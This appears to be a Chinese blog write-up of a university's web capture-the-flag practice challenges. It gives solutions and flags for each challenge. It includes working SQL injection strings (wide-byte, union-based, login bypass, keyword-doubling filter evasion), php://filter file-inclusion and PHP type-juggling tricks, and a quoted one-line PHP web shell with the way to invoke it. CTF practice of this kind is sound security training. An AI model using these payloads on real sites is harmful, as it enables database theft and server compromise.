南郵CTF練習題——web題
南郵CTF練習題(http://ctf.nuptzj.cn/)
web(缺注入實戰1,好像網炸了):
簽到題:(http://chinalover.sinaapp.com/web1/)
直接右鍵檢視原始碼得到flag
關鍵是<a style="display:none">這條html屬性,讓flag不顯示
看原始碼,關鍵是if ($a != 'QNKCDZO' && $md51 == $md52)
post進去的a不是,然後a的MD5加密後是跟QNKCDZO一樣,MD5加密QNKCDZ0發現是0Exxxxxxxxx之類的字元,表示0
所以找一個字串,md5加密後是0E開頭就好了
百度找到一個 aabg7XSs
,構建一下就好了
flag nctf{md5_collision_is_easy}
簽到題2:(http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php)
複製口令:zhimakaimen到輸入框,提示尚未登入或口令登入。右鍵檢視原始碼
看到了maxlength,輸入框限制了輸入字元數量,改大一點就好了
開啟firebug,在html直接修改
然後就可以得到flag了,flag is:nctf{follow_me_to_exploit}
這題不是WEB(http://chinalover.sinaapp.com/web2/index.html)
提示不是web題,然後看到有張圖,先另存為下來
先改名為txt看看有沒有flag,發現沒有,再改名為zip,提示壓縮包損壞
那就用HxD等工具檢視一下,在最後發現flag
flag:nctf{photo_can_also_hid3_msg}
層層遞進(http://chinalover.sinaapp.com/web3/)
開啟網頁,檢視原始碼,似乎都沒有什麼提示
上burpsuite,截斷看看
發現也沒有什麼提示
那在burpsuite的httphistory看看
看到這個字尾有點意思 ,返回的http狀態碼是200,然後寫404.html
開啟看看
在response包就看到flag
flag:nctf{this_is_a_fl4g}
AAencode(http://chinalover.sinaapp.com/web20/aaencode.txt)
莫名其妙的打不開了
反正就是一段js加密後的程式碼,直接跑一下就好了
在vscode下 先
var ω゚ノ = " " (定義這個變數是因為第一次跑說這個變數未定義) 然後複製網站的AAencode程式碼 跑完就能得到flag [Running] node "c:\Users\Dcison\Desktop\1.js" undefined:2 alert("nctf{javascript_aaencode}") ^也可以看看AAdecode方法→http://tieba.baidu.com/p/4104806767
單身二十年(http://chinalover.sinaapp.com/web8/)
直接在burpsuite看到了。。。
flag:nctf{yougotit_script_now}
你從哪裡來(http://chinalover.sinaapp.com/web22/)
看題目提示,從Google來
沒差的話就是改請求就好了,改成http://www.google.com
referer可以看看:http://baike.baidu.com/link?url=lEY--jHYjzifDw9PlUrsdVWgU7JB2ibqSz4FYdj1JX5_rOg_B-lolG4uBEvWSRWvumd55lkc0OJ4qVoZlSUgBxGp-Spg0CgtMKMroy57gba的簡介就好了
phpdecode:
觀察原始碼發現其實沒想象中的難,就是一個
gzinflate(base64_decode($ZzvSWE))加密,百度可以詳細瞭解,
改下最後的程式碼,在php測試上試試就好了->http://www.shucunwang.com/RunCode/php/
flag如圖
檔案包含(http://4.chinalover.sinaapp.com/web7/index.php)
構建file=php://filter/read=convert.base64-encode/resource=index.php 就好
文章可以參考:http://www.2cto.com/article/201311/258420.html(烏雲的炸了2333333)
單身100年也沒用(http://chinalover.sinaapp.com/web9/)
開啟burp看看就出來了
這題是講302重定向,詳情可以看看->http://blog.sina.com.cn/s/blog_4550f3ca0101czu9.html 連帶301複習
Download~!(http://way.nuptzj.cn/web6/)
dalao學長給了tips。。。。download.php
http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw(後面這一串是download.php的base64加密)
然後下面就很簡單了。。看到原始碼裡有hereiskey.php,再下載一次就好了
flag:nctf{download_any_file_666}
cookie(http://chinalover.sinaapp.com/web10/index.php)
題目提示 :0==not
即我們可能要改包
burp看看請求包
題目是cookie,我們看到cookie這行,發現login = 0
那就改1咯
開啟截斷,然後把包發到repeater
改login = 1
得到flag:nctf{cookie_is_different_from_session}
MYSQL(http://chinalover.sinaapp.com/web11/)
一上來就提示robots.txt
那在連結後面加上robots.txt訪問看看(robots可百度)
(http://chinalover.sinaapp.com/web11/robots.txt
可以看到sql程式碼,重點關注
如果id 不等於1024才輸出內容
再根據題目提示sql.php
連結寫
http://chinalover.sinaapp.com/web11/sql.php?id=1022(1022是隨機寫的)
看看有什麼
提示 no msg
那再看看1024
就輸出try again
再往後看看,1025提示 no more
1026 1027都沒有東西了
再往回1023,還是沒內容
那再關注1024,思考可能內容就在id=1024裡面,但程式碼判斷不能是1024才顯示
那我們就要想有什麼可以等效1024,但不等於1024
那很容易想到時mysql的精度問題,輸入1024.1試試
就可以得到flag:the flag is:nctf{query_in_mysql}
寬位元組注入,http://www.2cto.com/article/201301/182881.html,可以看看,也可以自己各種百度, 不上圖了,直接上程式碼: 爆庫id = %df' union select 1,database() %23得到庫名 sae-chinalover
爆表id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news
暴欄位ctf2表 %df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632 %23
得到欄位名 id,content(別問我為啥選ctf2表,一個一個試出來的)
暴內容 id=%df' union select 1,group_concat(id,0x3a,content) from ctf2 %23
得到flag: nctf{query_in_mysql}
/x00(http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?)
不懂php,看程式碼,查函式猜的。。。
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1
不知道為何能爆出flag。。。以後再好好研究截斷
(保留nctf[]就可以了,後面=1都可以不用。。。)
bypass(http://chinalover.sinaapp.com/web17/index.php)
題目提示了弱型別,利用的是在php,md5一個數組。
構造:http://chinalover.sinaapp.com/web17/index.php?a[]=a&&b[]=c
Flag: nctf{php_is_so_cool}
變數覆蓋:(http://chinalover.sinaapp.com/web18/index.php)
點開後,發現有個source
點開檢視,關注
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
只要pass 和thepassword_123相等就好了
那麼構建
flag如圖
這題關鍵是extract函式,詳情可看http://www.w3school.com.cn/php/func_array_extract.asp
php是世界上最好的語言:(http://way.nuptzj.cn/php/index.php)
點開提示開啟index,txt
關注一下eregi函式,->http://blog.csdn.net/shaobingj126/article/details/6861646
懂了之後就簡單了
意思是提交的id不能=hackerDJ,而提交的id經過url解碼後與hackerDJ相同就能出flag
而url編碼,傳輸過去預設會解碼一次,所以我們不能只加密一次,加密兩次就可以了,上工具
複製下來,再加密一次就好了,得到%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
flag如圖
偽裝者(http://chinalover.sinaapp.com/web4/xxx.php)
看題目就猜可能要改請求包的某些內容
然後看網頁
猜可能要改Referer,再看網頁登陸,那就改127.0.0.1
然而什麼都沒有提示
那麼好好思考,發現這題似曾相識,與網路安全實驗室基礎題第11題相似
那上一個外掛
重新整理網頁,得到flag:nctf{happy_http_headers}
Header(http://way.nuptzj.cn/web5/)
題目提示頭,題目也是header,提示那麼明顯了。。
懶得開firebug,檢視器,直接用burp看。。。
flag:nctf{tips_often_hide_here}
SQL注入1(http://chinalover.sinaapp.com/index.php)
看source,得到sql原始碼
重點關注這幾行,首先第一行是密碼進行了md5加密
第二行,第三行意思是從資料庫選擇賬號=admin,密碼=我們輸入的密碼的資料,把他們放到佇列中query中
重點來了,if判斷只需要判斷資料庫的賬號是不是,那我們只需要在admin輸入後讓密碼無效掉就好了,即註釋掉and(pw='。。。。。。。)後面的程式碼
那就構造 admin') -- dsfaasdf --表示註釋,後面的東西亂輸就好了
得到flag,nctf{ni_ye_hui_sql?}
passcheck:(http://chinalover.sinaapp.com/web21/)
意思是strcmp這個函式,比較結果相同時返回0....而判斷條件是
!strcmp($pass,$pass1))
按邏輯來說,這就是要post進去的內容與隱藏的密碼相同才行。。
然而strcmp比較的內容有陣列時會返回null
而null 和 0在判斷中是等價的。post一個數組進去就好
起名字真難:(http://chinalover.sinaapp.com/web12/index.php)
看原始碼知道我們提交的id中的字串不能有數字,而想得到flag又要進去的是要數字。。。
所以我們換進位制就好了54975581388=0xccccccccc
playload=http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
flag:nctf{follow_your_dream}
密碼重置(http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D)
複製連結的時候就發現問題了,
發現沒,那很可能是編碼過,base64解碼後發現是ctfuser,而題目要求我們是admin
那麼問題就簡單了,將admin base64加密後,再編碼成url格式,可以用hackbar自帶的工具,截斷重置,然後用burp改包就好了
flag:nctf{reset_password_often_have_vuln}
炸了。。上不去 簡而言之就是讓一個序列化過後的字串與類中的變數始終保持相同,可以想到引用a=&b
拿php測試跑一下這個程式碼
<?php
class just4fun {
var $enter;
var $secret;
function just4fun()
{
$this->enter=&$this->secret;
}
}
echo serialize(new just4fun());
?>
得到關鍵字串構建playload:http://115.28.150.176/php1/index.php?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
sql injection 4(http://chinalover.sinaapp.com/web15/index.php)
根據提示與右鍵原始碼,可以知道用\來使單引號閉合
關鍵是username=\&password=or 1=1%23 (%23表示#,直接#不行。。。不知道為什麼要url編碼後才可以)
這樣子 sql語句就變成了
SELECT * FROM users WHERE name='\' AND pass=' or 1= 1#';(表示被閉合掉了)
這樣就可以得到flag了:
nctf{sql_injection_is_interesting}
綜合題(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php)
點進去,在實驗室題目做過,是jsfuck(http://www.jsfuck.com/)
執行題目的程式碼,得到1bc29b36f623ba82aaf6724fd3b16718.php
回去構造連結(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php)
提示tip在腦袋(head)裡,那看頭咯,返回包裡有tip,提示history of bash
不知道什麼玩意,百度咯,可以看看(http://blog.csdn.net/pan_tian/article/details/7715436)
用法就是http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
開啟提示一個zip檔案,下載就好了
http://teamxlc.sinaapp.com/web3/flagbak.zip
flag is:nctf{bash_history_means_what}
sql注入2(http://4.chinalover.sinaapp.com/web6/index.phps)
題目提示union,可能要用到union語句,然後關注下主要程式碼
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
密碼md5加密, 從資料庫中選擇與使用者名稱匹配的密碼,然後判斷,密碼不空且我們輸入的密碼與資料庫中存的密碼相同,才輸出flag
然後。。。就不會了。。不會百度就好了
http://wenku.baidu.com/link?url=W6WxOzWCUqyXFhGzRyUBEIYE2zo0QkryATPuuosV7voFs6xkvfwjbyY5O3Li97Y4JcRPxQxC01cpOYmTnUiDRRWoIcqoduTHHnhcPrM7wba
上面的題解有詳細的說明,套就好了
得到flag:ntcf{union_select_is_wtf}
綜合題2(http://cms.nuptzj.cn/)
看了兩篇writeup......還有經過周老大“調教”終於懂了。。。
關鍵是注入語句構造麻煩。。。
http://cms.nuptzj.cn/about.php?file=sm.txt ->收集資訊,得到表名admin, 欄位名 username,userpass
而且http://cms.nuptzj.cn/about.php?file=sm.txt可以知道這裡有檔案包含漏洞,各種更改file=xxxx收集下資訊
在file=so.php中可以看到
首先要改userage->Xlcteam Browser
然後還可以看到 antiinject.php
再file = antiinject.php,裡面是過濾檔案
可以用>或者<代替=,/**/代替空格,like或者In代替=,然後 selselectect代替select
詳情看http://www.freebuf.com/articles/web/36683.html
然後我們上Modify Header
在留言搜尋那開始注入
因為單引號被過濾了,我們直接用order by來測試下
發現到5就不行了
所以有4個欄位
上union select
因為我們根據一開始的提示已經有了表名 欄位名
直接構造
soid=-5/**/ununionion/**/seleselectct/**/1,group_concat(userpapassss),3,4/**/frfromom/**/adadminmin#(換下usernanameme得username欄位內容)
5是自己試出來的,4也行,123都不行
明顯密碼是ASCII,轉成字元發現是fuckruntu
然後找後臺
在file=about.php可以看到後臺loginxlcteam
http://cms.nuptzj.cn/loginxlcteam
登陸後看到
file=xlcteam.php檢視一下
這個一句話木馬內容如下:
<?php$e = $_REQUEST['www'];$arr = array($_POST['wtf'] => '|.*|e',);array_walk($arr, $e, '');?>
百度搜索一下
http://blog.csdn.net/settoken/article/details/50946689
就是第四個,所以構建http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
密碼wtf
flag如圖
注入實戰
炸了。。一直沒法做
密碼重置2:(http://nctf.nuptzj.cn/web14/index.php)
得到提示
知道token要10,並且要=0,很快想到0e00000000
得到flag:nctf{thanks_to_cumt_bxs}
web題到此結束。。。收穫頗多,感謝周老大與悉宇大神的各種指導(tiaojiao)